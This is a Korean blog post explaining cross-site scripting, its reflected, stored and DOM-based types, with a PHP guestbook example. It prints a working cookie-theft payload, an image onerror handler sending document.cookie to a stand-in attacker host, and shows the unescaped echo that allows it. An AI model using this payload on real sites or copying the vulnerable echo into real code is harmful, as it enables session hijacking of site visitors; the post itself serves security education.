✔️ XSS(Cross-site scripting XSS, 사이트 간 스크립팅)
- 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.
- 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다.
- 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다.
- 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다.
- 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.
- 이 공격 유형은 IPS, IDS, 방화벽으로도 막는 것이 불가능하기 때문에 예방하기 위해서는 script 필터링을 해줘야한다.
✔️ XSS 공격 유형
- 크로스 사이트 스크립팅(XSS)의 공격 유형은 표준화로 정해져 있지 않지만, 전문가들은 크로스 사이트 스크립팅의 유형을 구분한다.
- 비 지속적인 공격(Non-persistent XSS)과 지속적인 공격(persistent XSS), 그리고 소스코드 추가로 발생되는 DOM 기반 XSS 등 유형으로 구분한다.
◼️ 비 지속적 (Non-persistent) 기법
- 비 지속적 (Non-persistent) 크로스 사이트 스크립팅 취약점은 반사(Reflected) XSS라고도 불리며, 가장 일반적인 유형이다.
- 웹 클라이언트가 제공하는 HTTP 쿼리 매개 변수 (예 : HTML 양식 제출)에서 적절하지 않고, 구문 분석 및 해당 사용자에 대한 결과의 페이지를 표시하는 공격 기법이다.
- 검증 되지 않은 사용자가 URL 파라미터나 HTTP 요청 헤더 정보를 수정하여 공격할 수 있다.
- 잠재적인 취약점이 존재하는 대상은 검색 엔진이다.
▶️ 검색 엔진의 검색창에서 하나의 문자열을 검색하는 경우, 검색 문자열은 일반적으로 결과 페이지에 그대로 다시 표시된다.
▶️ 삽입 된 문자열을 다시 표시하면서 문자열이 가지고 있는 스크립트가 동작된다면 취약점이 존재하는 것이다.

이미지 출처 : https://4rgos.tistory.com/1
◼️ 지속적 (persistent) 기법
- 지속적 (persistent) 크로스 사이트 스크립팅 취약점은 더 치명적인 기법이다.
▶️ 공격자가 제공 한 데이터가 서버에 저장 된 다음 지속적으로 서비스를 제공하는 "정상"페이지에서 다른 사용자에게 노출된다.
▶️ 해당 취약점이 대표적으로 발생하는 위치는 사용자가 읽을 수있고, HTML 형식의 메시지를 게시 할 수 있는 온라인 게시판이 해당된다.
🌟 [예시]
- 회원들이 흥미롭게 볼 수 있는 검색이 가능한 웹 사이트가 존재한다고 가정하자.
- 개인 정보 보호를 위해, 이 사이트는 모든 사람들의 실제 이름과 이메일은 숨기고, 해당 사용자만 알 수 있다.
- 해당 서버에 회원이 로그인 하여 사이트에 접근할 때가 회원의 실제 이름과 이메일이 브라우저에 존재하는 유일한 시간이다.
- 공격자는 해당 사이트에 가입하고, 사이트에서 볼 수 있는 사람들의 실제 이름을 알아내고 싶어 한다.
- 우선 공격자는 공격자의 프로필을 방문한 다른 사람의 브라우저에서 실행되도록 설계된 스크립트를 적용하여 원하는 정보를 수집하고 자신의 서버에 원하는 정보가 저장될 수 있게 한다.
- 만약 질문이 "당신이 기억하는 가장 좋은 날을 입력하시오!"에 대한 물음란에 공격자는 짧은 대답 (정상처리되는)내용과 다른 사용자의 이름과 이메일을 훔치는 스크립트를 입력한다.
- 다른 사용자가 공격자가 작성한 내용을 읽게 되면 접근한 사용자의 이름과 이메일 정보가 공격자에게 전송된다.
- 스크립트는
<script> 요소 내에 동봉 된 경우, 화면에 표시되지 않기 때문에 다른 사용자들의 이름과 이메일이 공격자에게 전송되어도 당사자는 해당 공격 행위를 알지 못한다.
- 공격자의 악의적인 스크립트가 피해자를 일일이 제 3 자 웹 사이트로 유인 할 필요없이, 자동으로 렌더링되기 때문에 지속적인 XSS 취약점은 다른 유형보다 더 위험하다.
<p><?php echo htmlspecialchars($name); ?>님의 말: </p>
<?php echo $content; ?>
여기서 $name이 홍길동이고 $content가 안녕하세요라면 다음과 같이 정상적으로 출력될 것이다.
<p>홍길동님의 말: </p>
<p>안녕하세요</p>
하지만 만약 $name이 "Hacker"이고 $content가 다음과 같다고 하자.
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />
그러면 결과 코드는 다음과 같이 될 것이다.
<p>Hacker님의 말: </p>
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />
결과적으로 방명록을 보는 사람의 쿠키가 해커에게 전송이 될 것이다.
참고글 1 https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8_%EA%B0%84_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85
참고글 2 https://4rgos.tistory.com/1